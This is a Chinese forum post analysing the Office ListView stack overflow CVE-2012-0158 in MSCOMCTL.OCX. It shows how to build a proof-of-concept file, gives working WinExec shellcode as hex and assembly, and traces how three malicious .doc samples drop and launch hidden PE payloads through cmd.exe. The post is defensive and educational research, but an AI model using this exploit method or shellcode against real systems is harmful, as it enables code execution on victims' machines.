分析环境:
该版本MSCOMCTL.OCX存在两处缓冲区溢出(具体为栈溢出)漏洞,一处为CVE-2012-0158,另一处无CVE编号,均在MS12-027中修补。
MSCOMCTL.OCX中CObj::Load
函数对输入数据进行错误校验,第二次调用ReadBytesFromStreamPadded()
时,会造成溢出,进而可以劫持执行流。
通过Excel解析ListView控件时调用漏洞函数的原理构造POC,详见下文分析。
在Excel中创建ListView控件并添加ListItem子对象使其调用漏洞函数CObj::Load
。此处用VBA代码进行添加并将其编译生成对象,为避免保存失败,编译后需删除相应代码并保存文件:
将保存后文件拖入winhex,找到CObj类,修改相应的十六进制令其大于8并保存文件,再次打开Excel弹出报错则表明已成功触发漏洞:
Ollydbg附加至Excel并打开构造好的POC,Excel报错将弹出报错,Ollydbg将停在0x65006B
处。
此时栈中情况如下图所示。可以猜测在加载MSCOMCTL
模块时出现问题,那么在该模块处下断点并重新加载:
最终发现执行至0x275c8a56
处发生错误,此时栈情况如下,其返回地址为0x65006B
:
从发生错误的位置向上回溯,单步调试至0x275C8A05
处,发现调用该函数后,栈被覆盖:
该参数读入长度0x18
,是构造POC时修改的读入长度:
寄存器eax
值为需要读入的字符地址,而这段字符就是Excel中Cobj
关键字后的内容:
在关键函数0x275C8A05
内部,0x275C878D
有一处验证变量值的语句,为方便观察笔者将数值修改为0x18
、0x19
。构造POC时修改的两个数值前者为读入长度,后者为验证参数。但在读入文件时两个数同时被读入,因此该验证可通过修改文件数据直接绕过。
最终执行拷贝的语句在0x275c87cb
处,执行后栈发生改变:
结合MSCOMCTL.OCX
模块的IDA伪代码:
首先将覆盖长度修改为更大数值,之后修改返回地址指向jmp esp
指令,将Shellcode置于返回地址偏移0x8
处使其能成功被执行。
通过Stud_PE
获取Kernel32.dll
模块基址及WinExec
偏移,构造语句WinExec("AAAA.exe", 5)
转换成机器码为558BEC558BEC33C050682E65786568414141418BC46A0550B8FDE58377FFD08BE55D
此处参考《加密与解密(第四版)》十四章相关思路,通过TEB查找法获取Kernel32.dll
基址,进而得到其导出表地址以获取LoadLibrary()
和GetProcessAddress()
函数地址,通过它们组合来获取任意DLL中的API地址。
汇编代码如下:
转换成机器码为535633C064A1300000008B400C8B7014AD96AD8B58108B533C8B54137803D38B722003F333C941AD03C381384765745075F4817804726F634175EB8178086464726575E28B722403F3668B0C4E498B721C03F38B148E03D333C968786563006857696E455453FFD233C951682E6578656863616C638BDC6A0553FFD05E33C05BC3
此处需要注意的是:机器码过长会超出构造POC时设置的代码段的长度,这里笔者采用了维一零师傅的方式,代码修改如下,以保证Shellcode正常读入及执行:
NAME: malware_1264.doc
MD5: F393FDC7F3853BC7C435C13A4962C688
SHA1: 48510754C8FD91E3CD5930AF7AE755D4AA2B6D29
0x275c8a56
处为漏洞触发位置,通过跳板指令jmp esp
转至Shellcode执行并解密数据:
通过TEB查找法获取kernel32.dll基址并依次查找API函数地址:
判断文件大小以确认是否为样本文件,是则获取其路径:
打开文件,并获取读取写入权限:
获取临时目录地址并为临时文件创建一个名称:
获取样本文件名并入栈,随后获取临时目录地址,拼接地址得到"C:\\Users\\用户名\\AppData\\Local\\Temp\\334fe74b0167a50a35575ccb6058d03a98b11e158d05a41271aab6c9161047db.doc"
:
创建新文件并获取写权限,将数据解密后写入文件,该文件为一PE文件:
调用WinExec
执行该tmp文件:
删除Software\Microsoft\Office\10.0\Word\Resiliency\
注册表项,以清理记录:
在TEMP目录下创建新的文档,将数据解密并写入文档,该文档为doc格式:
通过拼接得到命令"cmd.exe /c tasklist&\"C:\\Program Files\\Microsoft Office\\Office12\\WINWORD.EXE\" \"C:\\Users\\用户名\\AppData\\Local\\Temp\\334fe74b0167a50a35575ccb6058d03a98b11e158d05a41271aab6c9161047db.doc\""
:
跳转至WinExec
执行该命令,最终调用TerminateProcess
函数退出:
MSCOMCTL.OCX
中LoadMFCPropertySet
函数为MultiByteStr
变量分配0x148字节栈空间,复制数据时未做有效验证,可通过构造数据造成栈溢出,进而劫持执行流。
NAME: virus.doc
MD5: 6845288E2BE0BE1ADBC3A3D4C6AAAA63
SHA-1: 83C0D54DCC948F0C91907DB8FA69CE776CBDD6B2
依旧在MSCOMCTL.OCX
模块设置断点并调试。当运行至0x75618d8c
处,此时栈中情况如下图所示,可以猜测文件已经触发漏洞并成功执行Shellcode:
从函数返回地址向上回溯,在样本中查找可得到如下信息:
0x27602e9a
处为漏洞触发位置,执行过后Shellcode将被复制到栈中:
通过ROP+jmp esp
,跳转至Shellcode执行:
下面对Shellcode进行详细分析。首先是对数据进行解码:
获取函数调用地址:
当判断已经查找完最后一个API函数后,程序将执行LoadLibrary("ntdll")
:
以上Shellcode执行结束后栈中空间如下图所示:
判断文件大小是否超过0x2000,是则向后移动文件指针。读取文件数据,通过文件中标志位确定查找的文件是否正确:
从堆中分配指定字节数,将数据读入,函数执行后内存如下:
遍历进程模块,之后将样本文件地址写入内存:
对读入的数据进行解密,此处将数据处理后是一个PE文件:
获取临时目录地址并写入内存,执行后内存中数据为cmd.exe /c start WINWORD.EXE /q \"C:\\Users\\用户名\\AppData\\Local\\Temp\\
:
在临时目录下创建名为virus.doc的文件,在写入数据后关闭句柄,随后执行cmd.exe /c start WINWORD.EXE /q \"C:\\Users\\用户名\\AppData\\Local\\Temp\\virus.doc
:
于临时目录下创建名为temp.tmp的文件,设置属性为隐藏,写入数据后关闭句柄,随后执行C:\\Users\\用户名\\AppData\\Local\\Temp\\temp.tmp
:
检索当前进程的伪句柄,随后终止指定的进程及其所有线程:
NAME:7ZzOmweGVb.doc
MD5:02b8ba227266dfcefb5958f7dd2fbeaf
SHA-1:5dd79bfa71118e9dec11ff65d37dfa0254e6c536
该样本与0x2.2中样本利用方法相同,不做赘述。
CVE-2012-0158(ms12-027)漏洞分析与利用—维一零
手把手教你如何构造office漏洞EXP(第一期)
永远的经典:CVE-2012-0158漏洞分析、利用、检测和总结—银雁冰
Windows平台shellcode开发入门(三)
不知是不是新的 mscomctl 漏洞(附件是病毒样本,勿直接运行)—看雪
int
main(void){
__asm{
PUSH EBP
MOV EBP, ESP
XOR EAX,EAX
PUSH EAX
PUSH
6578652Eh
/
/
".exe"
PUSH
41414141h
/
/
"AAAA"
/
/
若此处修改为
636c6163
,就能弹出计算器
MOV EAX,ESP
PUSH
5
PUSH EAX
/
/
"AAAA.exe"
MOV EAX,
7783e5fdh
/
/
WinExec(
"AAAA.exe"
,
5
)
CALL EAX
MOV ESP,EBP
POP EBP
}
return
0
;
}
int
main(void){
__asm{
PUSH EBP
MOV EBP, ESP
XOR EAX,EAX
PUSH EAX
PUSH
6578652Eh
/
/
".exe"
PUSH
41414141h
/
/
"AAAA"
/
/
若此处修改为
636c6163
,就能弹出计算器
MOV EAX,ESP
PUSH
5
PUSH EAX
/
/
"AAAA.exe"
MOV EAX,
7783e5fdh
/
/
WinExec(
"AAAA.exe"
,
5
)
CALL EAX
MOV ESP,EBP
POP EBP
}
return
0
;
}
int
main(void){
__asm{
/
/
查找kernel32.dll基址
XOR EAX, EAX
MOV EAX, DWORD PTR FS : [
0x30
]
/
/
PEB
MOV EAX, DWORD PTR [EAX
+
0xC
]
/
/
PEB_LDR_DATA
MOV ESI, DWORD PTR [EAX
+
0x14
]
/
/
不同操作系统偏移不同
lodsd
XCHG EAX, ESI
lodsd
MOV EBX, DWORD PTR [EAX
+
0x10
]
/
/
获取kernel32基址
MOV EDX, DWORD PTR [EBX
+
0X3C
]
/
/
e_lfanew
MOV EDX, DWORD PTR [EBX
+
EDX
+
0X78
]
/
/
ETA
ADD EDX, EBX
MOV ESI, DWORD PTR [EDX
+
0X20
]
/
/
namestable
ADD ESI, EBX
XOR ECX, ECX
GET_FUNCTION:
INC ECX
lodsd
ADD EAX, EBX
/
/
读取函数名称
CMP
DWORD PTR [EAX],
0X50746547
JNZ GET_FUNCTION
CMP
DWORD PTR [EAX
+
0X4
],
0x41636f72
JNZ GET_FUNCTION
CMP
DWORD PTR [EAX
+
0X8
],
0x65726464
JNZ GET_FUNCTION
MOV ESI, [EDX
+
0X24
]
ADD ESI, EBX
MOV CX, WORD PTR [ESI
+
ECX
*
2
]
DEC ECX
MOV ESI, DWORD PTR [EDX
+
0X1C
]
ADD ESI, EBX
MOV EDX, DWORD PTR [ESI
+
ECX
*
4
]
ADD EDX, EBX
/
/
GETprocAddress
XOR ECX, ECX
push
0X00636578
/
/
xec
PUSH
0X456E6957
/
/
WinE
PUSH ESP
PUSH EBX
CALL EDX
XOR ECX,ECX
PUSH ECX
PUSH
0X6578652E
/
/
".exe"
PUSH
0X41414141
/
/
"AAAA"
/
/
若此处修改为
636c6163
,就能弹出计算器
MOV EBX,ESP
PUSH
5
PUSH EBX
CALL EAX
}
return
0
;
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2021-4-8 18:13
被免孑编辑
,原因: